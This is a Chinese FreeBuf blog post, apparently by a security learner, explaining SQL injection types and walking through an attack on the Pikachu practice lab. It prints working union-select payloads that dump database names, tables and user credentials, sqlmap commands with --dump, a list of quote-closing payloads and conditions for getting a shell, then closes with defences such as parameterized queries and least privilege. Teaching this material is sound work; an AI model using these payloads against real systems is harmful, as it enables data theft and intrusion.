freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQL注入漏洞
2022-08-02 18:11:24
所属地 辽宁省

SQL注入个人理解

存在原因

web应用与数据库有交互,并且这个交互用户可以自定义

如常见的get请求
http://www.xxx.com/news.jsp?id=1
这个URL示例为一个新闻功能的页面,后面那个id就是参数,当通过点击页面的ul标签(html语言)可以发现页面的内容发生了改变,上面的id也发生了改变。
我个人的理解就是数据库存放着各类文章,前台要从数据库里面调取并展示这些文章,而这个id就是这些分好组的文章的组号。

一个查询语句是这样的
select * from yyy where xxx; *在语句的位置代表要查询的内容而*代表查询所有,yyy代表从哪里查询内容,xxx代表条件,根据条件给结果。

后台php语言代码
$id=$_GET['id']; $id=100000
$sql="select * from sys_article where id = $id";  
$sql="select * from sys_article where id = 100000";

可以看到变量id为get请求方式输入。
变量sql存放为一条sql查询语句,功能就是展示所查询sys_article 里面符合变量id条件的内容。

首先id的内容是不可控的,用户可以随意输入内容。

如输入 and 1 = 1 and 1 = 2 or 1 = 1 or 1 = 2 说到这里又涉及到一个知识点

真假 与或非
首先说真假
我的理解计算机是一个二进制机器,它的世界只有0和1,非真既假。
当变量id为真值得时候它回去执行并返回内容,为假值得时候回出现内容返回为空页面或者报错。

与(and)的特性 全真为真 有假为假
或(or)的特性 全真为真 有真为真
非(xor)的特新很好理解 就是唱反调,真为假,假为真

这里用$sql代替sql语句了 当id=1(真) and 1=1(真)   真 and 真 结果为真可以执行无报错,这时候你来一个id=1 and 1=2,1肯定是不等于2的所以为假,又由于and的特性那有假,结果就为假。
后面的自己捋一捋就清晰了。

通过上面的描述就是判断一个注点的方法,你输入的内容它通过sql语句去执行了。

那这个payload真是花样太多了,大部分都用sqlmap工具去跑,但是光知道用工具是不行的,行内称为脚本小子。当然做脚本小子也要做一个牛逼的脚本小子啊,因为工具是死的人是活的。

别不能都不知道注点在哪,上来就是把url扔sqlmap上跑,那能跑出个锤子来。

sql注入分类

我觉得这个所谓的注入分类就是判断如何进行注入的开始,首先得存在一个sql注入得迷宫终点就是数据库的数据或者整个服务器的权限。

1

从网上看到一个图片觉得很有意思,首先这个老鼠要想吃到苹果,得有几个条件。

就是这个迷宫和苹果都是存在的,也就是说首先这个网站是一个动态网站不是静态的(单一的html,就一些固定的文字和图片这里就不细说了),它存在交互并且存在sql注入。
这个老鼠才有可能通过一条正确的路进到内部吃到苹果。
这个迷宫就是sql注入漏洞,payload就是正确的路,苹果就是你要通过sql注入要到达的目的。

那我们作为人想要测试这个网站看看它是不是有这个迷宫让我们玩一玩,然后进去看一看苹果,我们作为白帽子我们就看看苹果就好,不动苹果。

发现有迷宫,开始找通往苹果的路

这三个就是通过看传参变量的类型来分类
(1)数字型注入点
select * from table where id=1
(2)字符型注入点
select * from table where name=''
(3)搜索型注入点
select * from table where 字段 like '%xxx%'


按照数据提交的方式来分类

(1)GET 注入
没什么好说的
(2)POST 注入
没什么好说的
(3)Cookie 注入
程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
在上面的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
(4)HTTP 头部注入
后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证
等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent.
Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。
这个四个就是与数据交互的点,就是说后台代码通过这四个点传来的内容拼接到了sql语句中来和数据库交互

按照执行效果来分类

(1)基于布尔的盲注
这个就是通过真假来判断注点
(2)基于时间的盲注
这中主要是页面没有回显内容(如报错内容等信息,注入成功了但是内容不会反馈出来),通过时间延迟语句来判断(加长返回时间)
(3)基于报错注入
使其报错并返回了报错信息来判断。
单引号
双引号
基于数字型注入
(4)联合查询注入
union
(5)堆查询注入
同时执行多条语句
(6)宽字节注入
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
英文默认占一个字节,中文占两个字节
原理:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)

GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),例如%df和%5C会结合;GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c

常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中magic_quote_gpc的配置

上面一堆文字,主要的目的判断哪里有注入,哪种注入方式可以利用。 说实话sql注入可以说基本无了,现在的框架或者其它防护sql注入的方式已经很成熟了,从黑盒测试的角度比较难搞,从原理出发基础太差的话难理解(如这个宽字节注入我看着也迷糊形成不了自己的思路,上面我是通过查阅网上的资料复盘过来的,不全:如二次注入,dns注入等)

写到这我脑子有一个想法,不知道是否贴切。 学网安就像一个人从开始学走路,路都不会走就想跑,能走路了但不能走稳,能跑了但是怎么可能跑稳。学打篮球,上来就像学花招(如街球),基础稀烂(不仅不中看,还不能打)。 因为我们最先看到的就是别人的成绩,吸引我们的就是这些成绩。 当开始认真思考和实践,从点点滴滴开始,才能拥有当初吸引我们的成绩。 好了有点跑题,后面这方面我觉得有必要好好思考一下写一篇文章。

关于描述sql注入就描述这么多吧,这些也算是基本的东西了,单sql注入这一个洞学的深一点吧,不知道是不是钻牛角尖浪费时间毕竟现在这玩意儿真可以说无了,但是你说它没有吧,还总能看到人家的骚套路。各种姿势应用场景我就不说了,太多而且最真实的是我太菜也写不出来啥好玩意儿。

烂大街的操作过程

pikachu靶场

image-20220729165740512

image-20220729165836284

题目数字型post型注入,从post出发,点击下拉列表发现6个选项,点击查询可以发现返回内容有姓名和邮箱字段。

抓个包进行测试

image-20220729170150105

通过数据包可以看到,这里的id对应的就是下来菜单里面的1到6,通过之前说的那些知识点,可以推测这个id是我们的入口。

为了直观些我们一步步来实践上面的知识点。输入and 1=1--+(--+的作用在于注释掉后面的语句如limit) image-20220729170507872

id=1 和 2 都进行了and 1=1--+ 测试发现都可以正常执行,and1=2提示您输入的id有误,输入or 1=2正常执行,or 1=1直接全爆出来。

image-20220729170912045

如果是and并且的关系那么久随便写了,没什么问题。

如果是or或者的关系,那么1=1,会出问题的,会把其他条件过滤掉。就是查找全部了

下面继续正常步骤:order by猜显位

3报错,也就是说有2个显位

payload语句就要这样写,union select 1,2--+ 这个1,2就是显示的位置也是关键攻击位置。

id=1 union select 1,group_concat(schema_name) from information_schema.schemata 

group_concat()是一个mysql函数作用是将多行内容,在一行显示出来用,分割(1,2,3)
SCHEMA_NAME 返回系统架构和用户定义架构的名称。SCHEMA_NAME 可以在选择列表、WHERE 子句以及任何允许使用表达式的地方调用。

information_schema简介
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。

什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

MySQL版本必须大于5.0,因为大于5.0版本的数据库存在information_schema表的功能,详情请自行百度mysql5.0前后注入的区别这里就不摘抄了。

image-20220729171943290

爆出数据库,pikachu为此站点数据库,接着爆出表。

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() 

image-20220729172145739

爆出users表的内容

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' 

通过爆出的表中的内容获取username和password的内容

id=-1 union select group_concat(username),group_concat(password) from pikachu.users

image-20220729172418969

最后结果爆出了所有用户名和密码(MD5加密)

不管是那个版本,什么数据库,基本的步骤就是,判断注点,爆库名,爆表名然后就是后面关键数据的提取。

sqlmap展示

python3 sqlmap.py -u http://192.168.254.175/vul/sqli/sqli_id.php --forms --dbs

image-20220730145608604

sqlmap是由python编写的脚本,这里就不细说了,我只说我用到的参数。 -u 需要攻击的url --forms 因为是post型,这里的意思让sqlmap自行抓包进行post注入 --dbs 爆数据库

python3 sqlmap.py -u http://192.168.254.175/vul/sqli/sqli_id.php --forms -D pikachu --tables

image-20220730150221387

因为这里是pikachu的靶场,我们要爆pikachu数据库里面的表 -D指定数据库名,--tables爆表

python3 sqlmap.py -u http://192.168.254.175/vul/sqli/sqli_id.php --forms -D pikachu -T users --columns

image-20220730151250765

爆列名,接下来显而易见了,用户名和密码

python3 sqlmap.py -u http://192.168.254.175/vul/sqli/sqli_id.php --forms -D pikachu -T users -C password,username --dump

image-20220730151349943

总体来说没什么好说的。

sql注入不单单拿数据,还可以getshell操作。

getshell的条件

1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道

2:gpc没有开启,开启了单引号被转义了,语句就不能正常执行了

3:要有file权限,默认情况下只有root有

4:对目录要有写权限,一般image之类的存放突破的目录就有

其他各种形式的注入这里就不一一展示了 post,get,insert,delete,搜索,等等

闭合

image-20220730213737486

闭合的作用就在于保证闭合前的数据完整符合条件,将我们的恶意代码逃逸出来

$query="select id,email from member where username='$name'";

这里看到传参为字符型被 ‘ ’ 包裹着,当我们输入什么都会当作一个字符串统一处理,所以我们要通过输入正确的内容加一个 ’ 来闭合。

or 1=1--+ 

'or 1=1--+

"or 1=1--+

)or 1=1--+

')or 1=1--+

") or 1=1--+

"))or 1=1--+

总之知道原理其他的都可以很好探索,当经验足够丰富不管是白盒还是黑盒那里容易出现漏洞自己心里都有个底

sql注入总结

这个漏洞的存在就在于,写法的不规范导致没有防护,让用户肆意的构造代码并被拼接进去执行。

SQL注入攻击的总体思路

寻找到SQL注入的位置

判断服务器类型和后台数据库类型

针对不通的服务器和数据库特点进行SQL注入攻击

防御

通过使用静态和动态测试,定期检查并发现应用程序中的SQL注入漏洞。

通过使用参数化查询和对象关系映射(Object Relational Mappers,ORM),来避免和修复注入漏洞。此类查询通过指定参数的占位符,以便数据库始终将它们视为数据,而非SQL命令的一部分。

使用转义字符,来修复SQL注入漏洞,以便忽略掉一些特殊字符。

通过对数据库强制执行最小权限原则,来减缓SQL注入漏洞的影响。籍此,应用程序的每一个软件组件都只能访问、并仅影响它所需要的资源。

对访问数据库的Web应用程序采用Web应用防火墙(Web Application Firewall,WAF)。这有助于识别出针对SQL注入的各种尝试,进而防止此类尝试作用到应用程序上。

使用成熟框架-预编译
# 渗透测试 # SQL注入 # web安全 # 漏洞分析 # 经验分享
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录